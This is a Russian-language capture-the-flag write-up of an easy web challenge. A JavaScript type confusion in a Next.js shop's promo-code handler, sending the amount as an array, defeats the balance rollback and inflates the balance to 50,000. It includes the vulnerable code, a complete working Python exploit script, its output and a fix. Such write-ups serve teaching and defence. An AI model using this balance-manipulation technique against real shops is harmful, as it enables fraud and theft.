Шоколадный дроп
Теги: easy, web, financial, js
Описание задачи
В старом порту открыли первый ChocoCore — бутик премиального функционального шоколада. Сегодня стартовали продажи лимитированного дропа. Станьте первым, кто его попробует.
Нам дают Next.js приложение — интернет-магазин шоколада. Цель: купить лимитированный товар flag (Summit to Talk About) стоимостью 31 337₽.
Разведка
Исходный код предоставлен в архиве. Ключевые файлы:
src/
app/api/
session/route.ts — управление сессией
cart/route.ts — корзина
promocode/route.ts — применение промокодов
checkout/route.ts — оформление заказа
completed/route.ts — выдача флага
lib/
chocolates.ts — каталог (8 позиций + item id="flag" за 31337₽)
promocodes.ts — список купонов: { TREAT5000: 5000 }
session.ts — работа с SQLite
Механика
Баланс (шоколёк) хранится на сервере в SQLite, привязан к сессии через session_id cookie.
Промокод — это base64 от JSON вида {"amount": 5000, "coupon": "TREAT5000"}.
Единственный доступный промокод — TREAT5000 на 5 000₽.
Флаг выдаётся через /api/completed, если в последнем заказе есть item с id === "flag".
Проблема: нам нужно 31 337₽, а можно получить только 5 000₽. Надо найти баг.
Анализ уязвимости
Смотрим src/app/api/promocode/route.ts:
// Шаг 1: проверяем наличие поля amount
if (!Object.hasOwn(promo, 'amount')) {
return NextResponse.json({ error: 'Invalid promocode' }, { status: 400 });
}
// Шаг 2: СРАЗУ прибавляем к балансу — ДО проверки типа!
session.balance += promo.amount;
try {
// Шаг 3: проверка типа (уже после изменения баланса)
if (typeof promo.amount !== 'number' || typeof promo.coupon !== 'string') {
throw new Error('Invalid promocode');
}
if (COUPONS[promo.coupon] !== promo.amount) {
throw new Error('Invalid promocode');
}
if (session.used_coupons.includes(promo.coupon)) {
throw new Error('Promocode already used');
}
} catch (error) {
session.balance -= promo.amount; // "откат"
return NextResponse.json({ error: ... }, { status: 400 });
} finally {
updateSessionBalance(sessionId, session.balance); // ВСЕГДА сохраняет в БД
}Логика задумана так: если валидация не прошла — откатить баланс в catch, а finally сохранит откатанное. Но есть нюанс: тип amount не проверяется до того, как он прибавляется к балансу.
Эксплуатация: JavaScript type confusion
В JavaScript оператор + ведёт себя по-разному в зависимости от типов операндов:
5000 + 1 // → 5001 (число + число = число) 5000 + "1" // → "50001" (число + строка = конкатенация строк!) 5000 + [1] // → "50001" ([1].toString() = "1", затем строковая конкатенация) // Оператор - всегда вычитает, приводя оба операнда к числам: "50001" - [1] // → 50001 - 1 = 50000
Применим это к уязвимому коду, если отправить amount = [1] (массив):
// Старт: session.balance = 5000 (число) // Шаг 2: session.balance += [1] → "50001" (строка!) // Шаг 3: typeof [1] !== 'number' → true → throw // catch: session.balance -= [1] → 50001 - 1 = 50000 (число!) // finally: updateSessionBalance(50000) — записывает 50000 в БД // Итог: откат не сработал — вместо 5000₽ баланс вырос до 50000₽
Корень проблемы: += при смешении типов работает как конкатенация строк, а -= с тем же аргументом — как вычитание чисел. Итог: (B + [X]) − [X] ≠ B при ненулевом B.
Эксплойт
import base64, json, requests
BASE = "https://chococore-cmmrrcme.alfactf.ru"
s = requests.Session()
# 1. Инициализируем сессию
s.get(f"{BASE}/api/session")
# 2. Получаем стартовый баланс через легитимный промокод
treat = base64.b64encode(json.dumps({"amount": 5000, "coupon": "TREAT5000"}).encode()).decode()
s.post(f"{BASE}/api/promocode", json={"code": treat})
# balance = 5000
# 3. Применяем malicious промокод с amount=[1] (массив)
# 5000 += [1] → "50001" (строка)
# catch: "50001" -= [1] → 50000 (число)
# finally: сохраняет 50000 в БД
mal = base64.b64encode(json.dumps({"amount": [1], "coupon": "x"}).encode()).decode()
s.post(f"{BASE}/api/promocode", json={"code": mal})
# balance = 50000, ответ сервера — 400 (но баланс уже записан!)
# 4. Добавляем флаг в корзину
s.post(f"{BASE}/api/cart", json={"chocolateId": "flag", "quantity": 1})
# 5. Оформляем заказ (50000 >= 31337 — проходит)
s.post(f"{BASE}/api/checkout")
# 6. Получаем флаг
r = s.get(f"{BASE}/api/completed")
print(r.json()["message"])Спасибо за покупку! Ваш заказ #539 на 31337 ₽ оформлен. Ваш шоколад уже в пути!
Для нас большая честь наградить вас... alfa{****************************}Исправление
Правильный порядок — проверять тип до любых арифметических операций:
// Сначала — полная валидация
if (typeof promo.amount !== 'number' || typeof promo.coupon !== 'string') {
return NextResponse.json({ error: 'Invalid promocode' }, { status: 400 });
}
if (COUPONS[promo.coupon] !== promo.amount) {
return NextResponse.json({ error: 'Invalid promocode' }, { status: 400 });
}
if (session.used_coupons.includes(promo.coupon)) {
return NextResponse.json({ error: 'Promocode already used' }, { status: 400 });
}
// Только потом — изменение баланса
session.balance += promo.amount;
updateSessionBalance(sessionId, session.balance);
addUsedCoupon(sessionId, promo.coupon);Вывод
Задача демонстрирует классическую ошибку в финансовой логике: операция над данными происходит раньше их валидации. Паттерн «добавить → проверить → откатить при ошибке» опасен, потому что операция += в JavaScript не является обратимой при смешении типов: + и - интерпретируют один и тот же нечисловой аргумент по-разному. Правило: в финансовом коде никогда не изменяй состояние до завершения всех проверок.